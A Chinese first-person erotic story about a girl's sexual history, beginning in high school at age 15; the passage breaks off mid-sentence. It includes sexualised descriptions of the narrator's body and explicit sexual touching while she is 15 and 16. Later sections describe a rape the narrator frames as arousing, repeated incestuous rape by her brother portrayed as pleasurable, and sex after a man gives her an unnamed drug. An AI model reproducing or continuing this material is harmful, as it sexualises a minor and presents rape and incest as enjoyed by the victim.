热门搜索


走向堕落的高中生

  我叫吴晓平。当我孤寂、无聊地坐在电脑前写下往事的时候,很难说清我心
的滋味。
  (一)渴望强暴
  我升上高中的时候15岁,与其她低年级的小女孩被高二、高三学长追得团团
转不一样的是,几乎没有一个高年级的学生注意我。
  我那时侯还算是一个未成年的也没有发育的小家伙,走路都不敢抬头挺胸。看
到身边的小姐妹频频约会,我心痒得很,夜晚睡到寝室的床上,摸着一根毛都没长
的阴户,不由得偷偷歎气。
  进入高一第二学期的时候,机会终于来了一个叫孙雁南的男孩写情书给我。他
虽然很帅气、很高大,但是有些阴郁,说实话,我渴望被他强暴,被他强有力的手
臂搂住一定很过瘾。可是他似乎很胆小,每次站在我一起,都不动我一下。
  有一天,一个个子不高、但是更加帅气的男孩拦着我,要我说我自己的名字,
我装着很羞怯的样子不肯说,他狂笑道:「我看你的胸部又小又平,就叫你小平吧
。」啊?居然歪打正着。
  从此,那个叫陆俊峰的男孩见到我就「小平妹、小平妹」的叫个不停,有一次
他趁着停电摸了一把我还没发育的小乳房,让我几天都心神不定的。实际上,我喜
欢这种直来直去的男孩,让我感觉很过瘾。而那个也许是真爱着我的孙雁南呢,连
我的手都没牵过。
  我听说,孙雁南是很有希望考上一所好大学的,所以不自觉的心偏向他一些,
我装做无意地透漏了陆俊峰骚扰我的事情,于是他俩干了一架,孙雁南赢了。可是
,他直到考上大学,都没有动过我。
  (二)等待开垦
  孙雁南考上大学后,不停地写信给我,可是这时的我,对于这样一个不在身边
,而且根本上就没有发生肉体关係的男孩,几乎很难有感觉。
  这时候,一个我认识的高三学姐传给我一封信,是一个叫方叶生的男孩写的,
虽然我听说这个家伙平时很花,但出于寂寞,我和他偷偷约会了。
  方叶生的父母是生意人,经常不在家。一个週末,他约我去他家裏,反正无聊
,我也就去了。因为约会是被亲吻已是很平常的事了,所以,我一进他家,他就很
粗暴地把我扑在床上,吻我,用手拼命地搓着我平坦的胸部,我的嘴虽然被他嘴唇
堵住,还是不由得发出几声含混的呻吟。
  他的手向下游移,插进我的内裤裏。摸到我的阴唇的时候,他兴奋地抖了一下
,我感觉到他压在我身上的下体有些跳动,但是我没有阻止他的动作,而是扭动着
身子,轻轻地叫了一声「啊」。
  大概是我的反应给了他很大的鼓舞,他解开了我上衣的纽扣,由于乳房还没有
很好的发育,我没有围胸罩。他的舌头开始在我那有些发硬的乳头上舔了起来,我
更加用力地扭动着,不是拒绝,而是兴奋。
  但是就在他要解开我裤子纽扣的时候,我突然想起了孙雁南。这个第一次表示
喜欢我的男孩,一星期写一封信给我,在信中透露出的真挚情意曾经让我的好姐妹
盛余芳大加讚歎,而他又是一个那幺有前途的男孩,我是没理由选择身上这个无赖
没出息的方叶生,而捨弃他的。
  我突然伸出双手,用力拉住裤子,并且很坚决地叫道:「不可以!」我心裏已
经做出决定,要把自己的贞操献给真爱我的男孩——孙雁南。
  方叶生有些惊讶,随即垂头丧气了。我马上穿好衣服,坐到桌子边,不看他,
也不说话,内心裏十分尴尬。他突然恶狠狠地抓住我的手臂,问我:「你是不是还
在想着那个姓孙的家伙?」我没有说话,觉得在刚才他那样兴奋的时候,突然破坏
了他的兴致很不好意思。
  过了一会,我说:「对不起,我不想这幺早就做这个事情,我才16岁啊。」
他也平静下来,问我:「那你以后还理不理我?」我点了点头,自己也说不清是表
示理他那,还是不理他。
  后来方叶生约我的时候,我竟然儘量找出藉口不去赴约。不过只要去了,我对
他亲我、摸我的动作没有丝毫拒绝。有一次,他拉着我的手去摸他的下体,我第一
次摸到男人的那东西,硬硬烫烫的,还不停地跳动。
  对于他提出的性交要求,我开始是很坚决地拒绝,但是越到后来我越难以抵制
住诱惑了。自从那次在他家裏发生那件事情后,我脑子裏整天都在幻想着性交的情
景,下体也细水长流了。可是几在这个时候,孙雁南竟然不给我写信了,我几年后
才知道,他是试探我是否对他有感觉呢。
  然而我是个很懒的人,他不写信我也就不写过去了,况且我这时候性欲旺盛,
晚上经常偷偷手淫到好晚,精神很差。我惊喜地发现,我的乳房变大了一些,阴户
上也长着稀疏的几根毛了。方叶生摸着我的乳房也明显感觉到变化,要我解开上衣
给他舔,我想这样反正也不会失去贞操,就让他舔,舔得我几次受不了,真想跟他
真刀真枪干一场,但是我拼命抑制住了,因为快要放寒假了,我一定要等孙雁南回
来。
  快放寒假的时候,孙雁南写信给我了,他说他是打球摔伤了,并且告诉我回家
的日期。我接到信后,内心裏百感交集,怀着极为複杂的心情回信,我却装着不在
乎的样子,我想这封信肯定有些刺痛他了,否则,他不会一回来就很敏感地捕捉到
我和方叶生的事情。
  (三)禁欲时代
  孙雁南回来的时候,我们正在期末考,由于下午正好是我讨厌的数学,我没有
参加。听班上的姐妹们说,看到他在教学楼上跟以前的哥们聊天,很高兴的样子。
我想到自己和方叶生的事情,顿时觉得很龌龊。我知道他晚上会约我的,所以晚自
习我请了病假。
  他是被一个我很讨厌的叫陈姗华的女孩带来的,我心裏很不安,不知道陈姗华
跟他说了什幺。他见到我一点都不激动,约我到操场上去走走。一开口,我就知道
他已经知道了我的事情。他旁敲侧击地问我的生活,我一句都不说,心裏在骂:「
你这个笨蛋,说这些无聊的干什幺?我为你留清白的身体到现在啊,快说正题吧!
」可是在操场上转了几圈之后,他的心情越来越坏,把我送到寝室门口,说明天会
去送我回家就要走了。
  我站着不动,心想即使晚上不约我出去,总得吻我一下才走吧?他看到我不动
,走了回来,我心裏砰砰直跳。谁知道他只是很温柔地说了一句:「进寝室吧,天
冷。」然后头也不回地走了。我知道,他对我很生气,尤其是我刚才一句他想听的
话都没说,让他可能有些愤怒了。
  我对他这样的呆子也很生气。所以第二天他送我的时候,我没要他送多远。我
看得出,他的眼睛有点红,昨晚肯定没有睡好。但是跟他走在一起,我备感压抑,
他有点刨根究底的样子,恨不得要我承认错误。
  他转身走的时候,我心裏酸了一下,突然有了要根方叶生做个了断的想法。所
以,我直接上了开往方家的船。我告诉方叶生,我只爱孙雁南,我和他要正式分手
了。他父母在家,他没有把我怎幺样。而且我吓唬他,寒假开学的时候,孙雁南要
找人打他,他这个胆小怕死的家伙,自此再也没有纠缠过我了。
  寒假孙雁南打了几次电话给我,但是我讨厌他那种颐指气使的语气,后来就让
我母亲去接,我母亲把他骂了个狗血喷头,我则在旁边有些放肆地笑。孙雁南对我
肯定很失望了,我们再开学时,他到学校去过,但是没有找我,后来一年都没有再
写信给我。
  而我,不知道为什幺,一年中也没有再跟其他男孩勾搭过。也许在我心裏,觉
得失去了孙雁南很可惜,我也很气自己吧。
  高三一年,我的成绩滑到穀底。一想起孙雁南曾经鼓励我,要跟我在他那所大
学的湖边约会,我便自我解嘲地笑起来。我几乎不怎幺上课了,就喜欢睡觉。
  白天一个人睡在寝室裏,独自抚摩着自己虽不丰满但是很光洁的身体,心裏很
为孙雁南可惜,他别说摸,看都没有看过呢。学校终于不能容忍我的旷课了,劝我
退学回家,和我一起的,还有盛余芳、占形燕等人。
  由于退学时间是高三下学期,2001年的那个冬天可能是我最快活的时光了
。虽然不再跟男孩鬼混,但是可以光明正大地跷课,玩累了也可以去教室看看。元
旦之前,我听说孙雁南写信给陈姗华了,心想莫非他们还有一腿?我找人偷来了信
,竟然很意外地看到,孙雁南在信裏问到我的情况。
  一种跟他重修于好的想法诞生了,我马上买了一张贺卡,就写了几句很简单的
话寄了出去。我明白,对于一个如此苦恋着自己的人来说,这样就足够了。果然,
他回信了,说回来要来看我。
  (四)花开花谢r
  孙雁南回来的时候,我们已经放假了,他也没有给我家裏打电话,我以为他是
敷衍我的。第二学期一开学,我就到学校去收拾东西回家,听到占形燕说,孙雁南
在找我。
  他见到我,有点强颜欢笑的样子,我知道他没找到我之前,跟陈姗华谈了很长
时间,也许陈姗华告诉他了吧。
  他极力要我留下来陪他,他说他有好多话要跟我说。我明白,他想把我留下来
的目的,是想在晚上佔有我了。可是我跟家裏说过当天回去的,所以反过来邀请他
去我家。谁知道他胆子变大了许多,也不怕我母亲了,竟然真跟着我回了家,盛余
芳和占形燕也顺便到我家去玩。
  父母和哥哥隐约知道我跟他的关係,尤其是得知他是一所重点大学的学生时,
都极为满意。我和盛余芳、占形燕商量,到他大学的那个城市去学电脑。但是,临
到出发时,盛余芳被家人阻止了。
  我和占形燕在哥哥的陪同下来到他的城市,却对那所在报纸、电台、电视上做
广告的电脑学校大为失望,极力要求回家。孙雁南挽留无果,只好眼睁睁看着我们
登上了回家的列车。
  后来,孙雁南多次打电话给我,要我再去那个城市,我有些心动了。况且,我
明白,我留在家裏,将永无出头之日。于是,我再次收拾行李,一个人来到县城乘
车了。
  (五)上错花轿
  然而正当我在月台上等车的时候,我才发觉我站错了月台。而远处,从我目的
地方向开来的反向列车正疾驰而来。我看到人群中有熟悉的脸孔,是我同班的几个
女同学。她们极力约我去南昌去学电脑。错过了该乘的列车,我心烦得很,鬼使神
差地跟着他们来到南昌。
  天下的电脑培训学校都是一个样,如同天下乌鸦一般黑。到南昌,我们根本学
不到什幺东西,同来的几个姐妹被一些有钱人家的子弟泡了,一回来就跟我说她们
床上的事情。
  而这时候,一个浙江的帅哥向我抛来了橄榄枝。失望加上寂寞,我开始和他约
会,我们进展很快。
  孙雁南千方百计地给我打电话,写信给我,我心已乱。为了他我坚守了三年清
白之身,可是命中注定,他无法享用我的肉体吧。我开始逃避他,并很快和浙江的
王霸诞上床了。
  那天,王霸诞约我去他屋裏看录像。说起来好笑,我们学电脑的,快半年了,
都还不会上网,打字用拼音一分钟才十三、四个字,所以平时的日子很无聊。王霸
诞的屋我们以前经常去,但都是几个人一起。那天我进去后才发觉,只有我们两个

  他放的是《玉女心经》,到性交镜头的时候,看得我脸红耳热,而他已经搂住
了我,手从我衣下摆伸了进来。一年多了,突然重温被男人摸的感觉,我浑身如同
触电一样,兴奋莫名。我主动地和他接吻,他没来得及摸我下体就开始脱我衣服了

  我手不由自主地伸向了他的下体,他兴奋地有些颤抖的声音说道:「好,让你
看,对了,你用自己的手把它拿出来」说罢便以眼神催促着,这时的我已失去了理
智,我将手伸向王霸诞的裤裆间,一抓,是那幺硬,那幺大……我慢慢的拉下了拉
链,由内裤内将他的阳具掏了出来,看到那黑黝黝的那幺粗大,还不停地点头,不
禁吓了一跳。
  他不给我继续欣赏的机会,突然把我的脚用力张开,并开始舐我的阴部,因这
姿势好像要尿尿的样子,我的脸红到了耳根,但是,好舒服喔……「你的乳头是粉
红色的,是处女幺?」王霸诞一口气把衬衫、裤子、内裤脱掉,一丝不挂的,骑到
了我身上。
  继续抚摩了几下,他说道:「我受不了了,我要进去了」他粗硬的东西碰触着
我花瓣的入口,终于来了,但,那瞬间,一阵激烈的疼痛。
  「痛,好痛!」「啊?你真的是第一次幺?」我痛得眼泪都要出来了,没有说
话。他缓缓的塞进来,粗大火热的东西完全的被包了进去。不知是痛还是热,我死
命的抱紧王霸诞。
  他边吻着我边说道:「晓平,放鬆一点,我动不了了。」他看我很紧张,用手
指在我的小小乳房上画着圈,我感到一阵阵酥麻,不由得鬆开了手。我感觉到他的
那根东西正慢慢的抽离我的下体,突然重重地插了进去,我「啊」地大叫一声,一
种前所未有的感觉让我的心好象要从胸膛了飞了出来。
  紧接着,他像小鸡啄米一样,用很快的节奏在我的阴道裏进进出出,我呼吸开
始不畅起来,只好深吸一口气,然后重重呼出来,阴道裏磨插的感觉让我忍不住想
要大喊,但是我害怕别人听见,拼命咬住嘴唇。随着他越来越快的节奏袭来,我感
到无处发洩,张开嘴巴,朝着他肩膀狠狠的咬了一口。他「啊」地叫了一声,频率
却更加快了起来,我感觉到自己正被带到高高的天空上去了。
  突然,他重重地喘了一口气,趴在我身上不动了,我感觉自己猛然降到穀底,
好一会才回过神来问道:「恩,你怎幺了?」他有气无力地说道:「快要崩溃了,
歇歇先。」我可不依,用力地抖动着下身,并疯狂地把他压到身下,自己抽动着。
过了一会,他仿佛不甘被压迫似的,捲土重来,下面的那根东西更粗更热了,我快
活地「哼」了几声,被他嘴唇堵住了,只得用手在他被上乱抓。
  忽然,我感觉到他的东西在裏面激烈地跳动起来,一种暖暖的东西开始大朵大
朵地喷射,他低低地吼叫,我们用力相拥,想让这一刻停留更久。大约过了7、8
秒钟,跳动停止了,但是他的东西还是硬硬地,好象伸长了许多,抵在我的身体内
的某个地方,让我动都不想动。
  他的那根东西终于慢慢软化了,被我的下体挤了出来,他把脸埋在我的两个不
甚丰满的乳房间,嘟囔着什幺,我暂时不想说话,也没理他。
  过了好一会,他从我身上爬起来,看了我下体一眼,然后吻了我一下:「谢谢r
你!」我知道他在谢我把第一次给了他,但我觉得他的表现不够热烈,问他:「会
珍惜我吗?」他有些疲倦地点点头,说道:「好多血,我来给你擦乾净吧。」我一
翻身,有些害羞地说:「恩~~你转过去,我自己来。」他有些粗暴地略带戏谑地
扳开我的双腿:「含羞什幺,我刚才什幺都看到了。」我捶了他一下,随他去了。
他用手指拨开我阴唇,我感觉有什幺东西立即流了出来,立即捂着脸,说道:「别
这样……快擦掉啊。」他动作很温柔地擦了起来,一种痒痒的感觉传遍全身。我起
身看被单,好大一滩血啊,不由得惊呼出来。
  有了第一次之后,我的需求十分强烈。如果说看到被单上自己的血的时候,觉
得对孙雁南还有一丝歉意,后来我就彻底在性天欲海享受了,差不多把孙雁南都忘
记了。他当然不会这幺容易忘记我的,接二连三写信给我,我回信告诉他,我们并
不适合,如果他愿意的话,我可以做他的好妹妹。这封信彻底刺痛他了,他的回信
十分愤怒,我正好就此不理他了。
  和王霸诞几度消魂,但是他一直不肯把他房间的钥匙给我,反而只準我每个星
期一、四去他那裏,平时很难找到他。
  快要放暑假时,我怕回家后与他很长时间做不了那个事情,就想天天呆在他一
起。一个週末,百无聊赖地来到他房间时,看到门锁着的,正想往回走,忽然听到
几声女人的呻吟。这种呻吟我再也熟悉不过了,就是在性交很快乐时发出的,我不
以为然的笑笑,却发觉好象声音是从王霸诞房间传出来的。
  我把耳朵贴在门上,听到裏面果然有人在做那种事情,更要命的是,间或传出
几声含混的说话声竟然就是王霸诞的。
  我拼命地擂着门,心裏的火苗一蹿三丈。裏面有人问:「谁呀?主人不在裏面
。」竟然是那个女的在说话!我更加火了:「你这个王八蛋,我听见你的声音了,
给我开门!」王霸诞开门了,冷冷地看着我。我没有哭,只是一把抓住他的手臂,
指甲恨不得穿透他的骨头。
  那个女的衣服还没穿好,一对丰满的白花花的乳房颤动着,很妖娆地走过来,
说道:「怎幺了?没看到过人家干事啊?来,王哥哥,我们表演给他看。」我愤怒
地骂了一声:「贱货!」她扬起手掌,狠狠地打了我一下,然而王霸诞却事不关己
地,走回房间坐下。我本想也给她一巴掌的,但是突然洩气了,捂着脸跑回寝室,
把自己摔在床上。
  第二天,我收拾好东西,谁都没有告诉就回了家。我是再也不会回到南昌那个
伤心的地方了。
  (六)彻底堕落
  回到家,爸妈见到我很亲热,令我有些羞愧,我只好编了一个谎言,说是放假
了,心裏自然惴惴不安下半年的开学。
  「暑假」的日子有些无聊,我给盛余芳、占形燕打电话,她们竟然都不在家,
我只好一个人躲在自己房间裏看三级片、手淫。十几天过去了,没有做那个事情,
我开始发贱了,欲望膨胀得厉害。
  一个下午,桌上的电话响了,是一个叫汪健碧的男人打来了,他是孙雁南的高
中同学。他说他回来了,要回家,有许多东西要带,一个人带不动,问我能不能帮
他。反正也无聊,我接到电话,跟妈妈说了一声就出去了。
  汪健碧这个人我并不陌生。高中的时候,他追班上的陈姗华,经常喝醉酒就到
我们班上去胡作非为,听说现在在孙雁南一个城市。陪着他翻山越岭地来到他家,
天有些晚了,但是要赶回家还是可以的。
  我告辞的时候,汪健碧挽留道:「天快黑了,别回去了,我明天送你。」见我
还是有些犹豫,他悄悄地说:「我可以跟你讲讲孙雁南的事,想不想听?」于是我
留了下来。但是晚上是跟他妈睡,所以根本上就没有听到关于孙雁南的什幺事情。
第二天,他一大早就跟我往回家的路上赶。本性终于露出来了,一贯的泼皮无赖的
样子,涎着脸在我身上乱摸,过分的是,居然还说我是他遇到的乳房最小的女孩。
我生气了,一路上没有理他,径直回家了,他就住在镇子上一个好朋友的单位宿舍
裏。
  晚上,天气有些热,接到汪健碧的电话,说一个人在朋友宿舍裏无聊,正好可
以跟我说说孙雁南的事。我本不想理他的,但是坐在家裏很难受,就到了镇子上他
那个朋友的单位宿舍裏。
  他光着上身,穿着沙滩裤,我从来没有见过肉体这幺丑的男人。他一开始倒是
真的跟我说孙雁南的事,他说孙雁南大一的时候,有一个长的很象我的外系女孩子
追他,但是那时侯他心裏只有我,竟然拒绝了,后来也一直没有恋爱。
  再说了一会儿,他的手就开始在我的腰部摸来摸去了,我心裏有一种抗拒感。
因为毕竟他是孙雁南的好朋友,如果我跟他发生那种事情,孙雁南是肯定会知道的
,我于是站起来要走。他一把把我按在床上,狠狠地掀开我的小T恤,咬着我的乳
头,在我还没来得及说「不要」之前,他已经解开我七分裤的纽扣。他要强暴我!
但是我心裏竟然迸发出一种前所未有的激情,在装着很用力地扭动身子反抗的时候
,竟然发出一声很消魂的呻吟。
  他很用力地捏着我的阴部,手指插了进去,我痛苦地叫了出来,这个变态!他
竟然留了很长的指甲,把我的阴壁刮得生生作痛。他似乎没有继续前戏的意思,掏
出那根东西就往裏面捅。说实话,他的东西不长,但是由于我的阴部紧缩,塞进去
之后感觉很充实。
  他个子也不大,所以动起来有种风驰电掣的样子,让我有些昏眩。他可能是一
个天生的虐待狂人,抽空用嘴巴大力啃我的胸部,虽然很痛,却让我有种很过瘾的
感觉。但是好景不长,过了不到一刻种,他就趴在我身上喷射了。
  虽然电扇是最大的风力,但是我汗出如浆,于是把捨不得从我肉体上下来的他
推到一边去,他就一动不动地随我摆布。我看得出他很满足,但是我却意犹未尽呢
。我把他的身子翻过来,趴上他的胸膛上,轻咬着他的乳头,一只手伸到他的下体
,轻轻地捋着他的阴茎。
  他睁开眼睛,活力再现了,阴茎也慢慢挺了起来,于是用力把我压了下去。可
是他却硬而不久,就在插进去的时候,又软了下来,他骂的一声「妈妈的」,就用
软蛇一样的东西在我阴道口反复摩擦,让我本因抽插而有些麻木的阴唇有些感觉了
。不负众望,他的东西终于重振雄风,这一次搞了二十多分钟。
  他不肯让我回家,我只好和他睡在一起。我反复央求他不要把晚上的事告诉孙
雁南,他答应了。后来我才知道,他一到孙雁南面前就说了我们的事。
  (七)乱伦之乐
  第二天,我估计爸妈都到外面去打牌去了,才偷偷溜回家。鬼鬼祟祟地拿钥匙
打开门,却发现哥哥一脸阴沈地坐在我房裏,电视没开,电扇也没开,我觉得气氛
不对,想要轻轻掩上门溜之大吉。
  「回来!」我听到哥哥这样大声叫道。一向疼爱我的哥哥怎幺会这样对我说话
呢?我忐忑不安地重新开门进去,看了哥哥的脸色,我决定使出杀手锏——撒娇。
我用无法掩饰的略带颤抖的声音撒娇道:「哎呀,哥哥,怎幺了,吓死你妹妹了。
」我走近他,闻到一股酒味——他很少喝酒的,连啤酒也不例外,看来一喝就喝醉
了。知道他是喝醉了,我心裏反而坦然了。
  谁知道一向很有效的撒娇这次却没有生效。哥哥继续用很大的声音质问我:「
昨晚哪去鬼混了?」我撒起谎来已经是不需要打草稿了:「恩,我去陪镇子上的丽
娜了吗,她家昨晚就她一人。」「砰」的一声,哥哥把一张什幺纸重重地拍在桌上
:「你看看吧,你不要以为你的事情大家不知道!」我狐疑地拿过那张纸,一看不
由得大惊失色。原来是我们南昌的「学校」寄来的一封信,说我在校不思学习,乱
搞男女关係,要勒令我退学。
  我最怕就是学校让我家裏知道那些事情了,不知道爸妈是否看到了这封信了呢
,现在在哥哥面前,我忍不住哭了。「哭个屌!说,你昨晚又是跟谁鬼混去了?」
我不敢说,哭的声音放小了一些。
  哥哥又「砰」的拍了一下桌子:「你知道我为什幺26了,还不找老婆成家吗
?我就是想你有点出息,能多读点书,所以一心挣钱给你花!你在高中时我就不说
了,让你去学电脑,你不去孙雁南那裏,去南昌鬼混,好了,现在被开除了,你还
不思悔改,昨晚又跟哪个男的去混,你跟妓女有什幺区别?你对得起我吗?」
  听到哥哥说我跟妓女没什幺区别,我又放声哭了起来。哥哥腾地站了起来,抓
住我的手臂,将我重重地扔在床上。我双手抱着头,猜想到哥哥可能要揍我了,急
忙蜷缩起身子。他却一把拉起我的T恤,扯下我的乳罩,对着我的乳房狠狠地扇了
两巴掌。
  一切来的太突然,我惊恐地望着他。我这种惊恐无助的样子,可能一下子激发
了他的欲望。他红着眼睛,喷着酒气朝我压了上来,恶狠狠地骂道:「与其让嫖客
干,不如让你亲哥哥把你干死!」我哭道:「哥,不要这样啊……」可是他似乎失
去了理性,扯开了我的内裤。
  可能由于喝多了酒的缘故,他的动作有些笨拙,可是十分有力。他用两只手将
我的双手按在床上,阴茎胡乱地在我的下体顶来顶去,搞得我浑身酥麻。我虽然仍
在哭,可是看到无法反抗了,就坦然了一些,偷偷向哥的下体望了一眼,啊,他的
那根竟然那幺大!可是在没有指引的情况下,他的阴茎三过阴门而不入,更离谱的
是,有一次竟然戳到了我的肚脐眼上。
  他怕我反抗,将我的双手举过头顶,用一只手按住,另外一只手扶着阴茎,向
我的阴道狠狠刺了进去,我不由得「啊」地叫了以来,感觉他那根好象刺到了我的
嗓子眼一样,堵得慌。
  我害怕从他嘴裏喷出来的酒味,偏过头不肯对着他,他粗暴地揪着我的耳朵,
将我的脸拉了回来,满是酒味的嘴巴往我的嘴唇上盖了下去。底下是进进出出的快
感,上面却是我讨厌的酒味,我抗拒地摇着头。他却嫌不过瘾呢,一只手拉着我下
巴,趁我嘴张开时,舌头伸进去乱搅。
  我「呜呜」地呻吟着,双手却不自觉地加大了力量,搂着哥哥的腰,想让他动
的幅度小一些。可是我哪搂得住他,他一边如潮水般地向我袭击,一边嘴裏还狠狠
地叫:「干死你这个婊子!干死你这个婊子!」由于在身上的是哥哥,我不敢发出
淫蕩的叫床声,只好拼命地咬着嘴唇。
  真是「一波还未平息,一波又来侵袭」,接二连三的撞击让我浑身的运动元素
启动了,我用双腿用力地抱住哥哥的腰,身子则随着他的频率卖力地抖动,无处发
洩的双手则在他背上起劲地抓挠,汗水将我的长髮都浸透了。
  他很陶醉地闭着眼睛,仿佛没有我这副白嫩的肉体在下面似的,机械快速地播
种,我终于忍不住呻吟起来,感觉到他的东西在我体内忽然中涨大了一倍,然后仿
佛听到「吱吱」的声音,哥哥在我的阴道裏喷射了。
  他停止了抽插,刚才还那幺孔武有力的身体一下子垮到在我上面。他抓住我的
乳房,脸在我的乳沟裏轻轻摩擦,发出满足的歎息。
  等他睁开眼,看到身体底下原来是他的妹妹的时候,忽然有些慌乱,急忙穿好
衣服,拉开门走了出去。我则仍然躺在床上,回味着。说实话,儘管是乱伦,这次
我的感觉最美妙。
  后来,我才知道那封信只有我哥哥一个人看到了,爸妈还不知道呢。而哥哥,
虽然时常对兄妹乱伦有种罪恶感,却被我白嫩的身体征服了,不会说出信的事情的

  过了半个月左右,汪健碧打电话给我,让我去他那裏。我跟爸妈说,我要去孙
雁南那裏学电脑了,不想回南昌。父母对我跟孙雁南的事情,是最为支援的,但可
以说知之甚少,还不知道我们分手了呢。
  哥哥虽然知道内情,但是也没有说什幺,递给我一大笔「学费」的时候,他大
概有些心疼了,一开始肯定没有想到跟「妓女」妹妹性交的代价竟然这幺大吧?
  (八)柳败花残
  到了汪健碧的那个城市,他已经在车站等我了。晚上,我们在外面吃完饭他就
带我回去了。八月的天气,屋裏面很闷,但是他却急不可待地要脱我衣服。
  正要拉下我牛仔裤的时候,他好象忽然想到了什幺,递给我一片口香糖样的玩
意,说道:「嘿嘿,它能让你更加放得开的。」我想也没想就咀嚼起来,而他却已
经在抚摩我的阴唇了。我感觉到从身体下部缓缓升起一股别样的暖流,让我心跳加
快、口乾舌燥,于是我使劲地张开腿,让自己阴部纤毫毕露,并且两只手开始抚摩
自己的乳房。
  他骑了上来,并将身子挪到我胸部的位置,把那根有点烫的东西放在我乳沟裏
,示意我用乳房给他按摩。我将乳房用力地向中间挤,他在我胸部嫩肉的包围下,
仍不甘寂寞,性交一样地抽插。我感觉到他的龟头吐出了一些黏液,并且随着阴茎
来回搓动,包皮一翻一缩的,刺激着我胸部最敏感的神经。
  他把那条黝黑的东西放在我嘴边,我毫不犹豫地含住了它,用牙齿轻轻咬齧。
可能这样有些刺激,他的喘息有点粗重,忽然将整个下体压在我脸上,阴茎却在我
嘴裏来回抽动起来。我给他搞的喉咙痒痒的,但是咳嗽不出,感觉有些窒息,却无
法抗拒,只好左右摆头。我感觉到他的东西开始涨大了,忽然有了理智,拼命地推
开他,但是还是有几滴精液射到我的脸上。
  这次,他的东西却没有因为射精而软化(我猜想他肯定吃药了),用力撇开我
双腿,插了进去。可是我经过刚才那样的挑逗,阴道裏已经分泌出大量液体,使他
的抽插过于润滑,我都感觉到快感不是很大。他分开自己双腿,狠狠将我的腿夹在
中间,我自己也暗暗在阴部运劲,想要把他夹的更紧一些。
  他的动作十分迅猛,可是由于要夹着我的腿,接触不是很深入,经常一抽之间
,我阴道无法含住,阴茎就抽了出来,他只好再次插进去。我发现,阴茎插进身体
的时候,我会兴奋地颤抖,于是央求他多拔出来几次,然后重新插。
  我们从床上滚到地下,浑身沾了灰也不在意了。交合之间,他狠狠喘气,我卖
力呻吟,二重奏配合的很有默契,加上下体两人的液体结合,发出「叽叽」之声,
我屁股拍着地板发出「啪啪」之声,热闹极了。
  这样疯狂地进行了三十分钟,我们都汗出如雨,都感觉到筋疲力尽,幸好这时
他喷射了,滚烫的精液刺激得我淫兴大发,又不停地将身体抛起,抛起。
  第二天,他去上班了,我一跟人睡到十点钟。后来经常是这样,我忽然感觉有
些孤单。我和他之间,几乎没有什幺话可说了。
  他只是偶尔跟我说起孙雁南的事情,言语之间颇有些嘲笑的味道。是啊,孙雁
南三年都无法跟我上床,他三个小时就做到了,我在别人眼裏,甚至在汪健碧眼裏
,会不会显得很贱呢?
  有一天,他垂头丧气地回来了。晚上一起吃饭的时候拼命喝酒,喝完酒之后,
将我直接按倒在地就干。谁知道干到中途,他「哇」地吐了我出来,吐得我胸部一
片狼籍,然而他仿佛感觉不到似的,一动不动,过了一会竟然发出了鼾声。
  我扶他上床,一个人在黑暗裏一遍一遍擦洗自己的身体,忽然想起孙雁南起来
。跟他同在一个城市,却一次都没有见过他,他应该大三了吧?因为我,他跟汪健
碧多铁的关係也烟消云散了,汪健碧也没去找过他。
  我忽然有点想见孙雁南了,可是我肯定不甘让汪健碧带我去。到这裏这幺长时
间,我就被他放在房裏,有空就性交,他也没有带我到任何地方去玩,所以孙雁南
的学校在哪个方位我都不晓得。而我已是残花败刘,见到他又能怎样呢?
  第二天,汪健碧没有起床上班,我以为他喝醉了,也不以为意。谁知道第三天
、第四天还是这样,我才知道他失业了。他偶尔也偷偷出去找找工作,回来也不跟
我讲什幺,拉着我就做爱。我有些急,我告诉他,两个人找工作总比一个人好,要
他也带我去找找看。他犹疑再三,还是同意了。
  我找工作远远比他顺利。出去第一天,我就在一家商场找到了一份售货员的工
作,而他迟迟没有进展。我上班以后,他和我说话更少了。我知道,他内心肯定很
自卑,做爱都不经常了,做了也是在我还没感受到欢愉的时候就射了出来。我的欲
求越来越得不到满足了,终于跟同一柜组的男孩暗渡陈仓。
  那一天,我坐公交跟那个男孩去他住的地方偷欢。车子正好经过孙雁南的大学
北门,我和他竟然在这种不期望的情况下见面了。他从车前门上来的时候,我看到
他了。仅仅半年多的时间,他长胖了许多,大大掩盖了他的帅气,虽然是笑着的,
但是眉宇之间仍然让人感到一丝忧郁。盼望着见他,可是并不希望是这样见面。
  于是,我把脸埋在身边男孩的手臂裏。他还是看到我了,很惊慌的一瞥,眼裏
立即有了刺痛,看来,他不但一眼就认出了我,而且仍然在乎我。我脑子很乱,连
他什幺时候下车都不知道。
  过了几天,一个叫赵国福的家伙来看望汪健碧。他走后,汪健碧把门关起来,
一脸阴沈地坐在我面前。我被他看得低下了头,心裏立即觉察到不妙。
  果然,他问道我最近跟哪个男的在一起,我支吾着不肯说,他重重地扇了我一
耳光,我愣了。他大概觉得太冲动了,连忙摸着我的脸说对不起。他告诉我,你偏
偏让孙雁南看见了,让我的脸往哪里搁啊?孙雁南看见了还不说,他又告诉了赵国
福,你给我这顶绿帽子真是大啊!我不知说什幺好,哭了。
  (九)人走茶凉
  发生那件事之后,汪健碧一再向我道歉,我也觉得自己有些过分,就辞掉了那
份工作,跟他很快和好了。然而,他的性功能似乎一天比一天衰退,我只有趁他不
在时手淫聊以止渴。
  天渐渐地冷了,汪健碧却仍然没有找到工作,我却懒懒的,也不太想找工作了
。汪健碧本来就没有什幺积蓄,我从家裏带来的几千块钱也花得差不多了,我们遇
到了前所未有的困境。
  我捨不得剪掉长髮,因此要经常洗头的,但是我们穷的洗髮水都买不起了,我
只好用肥皂洗头。更要命的是,汪健碧患了一种怪病,先是咳嗽吐黑痰,接着就是
吐血了。我要他去医院去看看,他挣扎着说没事,可是身体一天比一天虚弱,我们
只好回家了。
  回到家的那个冬天,我的日子很不好过。汪健碧在治病,自然无法跟我做那种
事情,哥哥又趁虚而入,一次又一次地姦淫着我的肉体。儘管能让我很欢愉,但是
罪恶感与日俱增。
  那个冬天的夜晚,我经常接到不明电话,经常在深夜电话来了,等我去接,那
边却一个字也不说,等我挂掉。我猜到可能是孙雁南,也许他仅仅是想听听我的声
音呢,我内心升起了对他的强烈负疚。
  第二年的出天,汪健碧的病好了一些,我们又回到了那个城市。可是这次,汪
健碧的运气更差了。不仅找不到一份合适的工作,还三番五次被劳动仲介欺骗浪费
大量精力不说,白白扔掉不少钱。
  他有一天痛苦地告诉我:「看来这裏是不肯留我了,我想到广州去看看。」他
问我的意见,我因为想到了孙雁南,决定还留下来。于是他和我约定,冬天的时候
再来找我,就背上行囊南下了。
  他走后,我开始找工作,并且很快地找到一种品牌酒的促销工作,除了可以供
